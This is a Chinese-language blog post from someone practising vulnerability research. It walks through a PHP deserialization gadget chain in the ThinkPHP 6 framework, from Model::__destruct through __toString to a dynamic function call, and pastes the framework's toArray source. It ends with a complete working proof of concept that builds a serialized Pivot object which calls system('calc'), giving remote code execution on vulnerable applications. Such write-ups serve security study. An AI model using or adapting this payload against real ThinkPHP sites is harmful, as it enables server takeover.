thinkphp6反序列化链

划水这么久,昨天终于把这个链子审完了,简单写一下链子和POC吧,不得不说审这种链子和一开始比起来好太多了,看着也没那么头疼了

但还是要多审点代码呀,准备再把一些cms下下来找找漏洞,也不知道哪一天才能独立挖到漏洞。

反序列化

起点是Model类中的__destruct()

跟进save()

跟进updateData()

跟进checkAllowFields()

跟进db()

这里字符串拼接可触发toString()
搜索
toString(),可用的在Conversion类中

跟进toArray(),这个函数太长了,截图截不下,直接粘贴过来吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
public function toArray(): array
{
$item = [];
$hasVisible = false;

foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}
// 合并关联数据
$data = array_merge($this->data, $this->relation);

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
foreach ($this->append as $key => $name) {
$this->appendAttrToArray($item, $key, $name);
}

return $item;
}

重点在这里

跟进getAttr()

跟进getValue()

这里用了动态函数调用,可以执行任意函数,然后构造POC

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
namespace think\model\concern {
trait Attribute {
private $data = ['key'=>'calc'];
private $withAttr = ['key'=>'system'];
}
}

namespace think {
abstract class Model {
use model\concern\Attribute;
private $lazySave = true;
}
}
namespace think\Model {
use think\Model;
use think\Validate;
class Pivot extends Model {
function __construct() {
$this->exists = true;
$this->withEvent = false;
$this->suffix = $this;
$this->relation = [];
$this->strict = true;
$this->visible = [['123']];
}
}
$a = new Pivot();
echo urlencode(serialize($a));
echo "\n";
}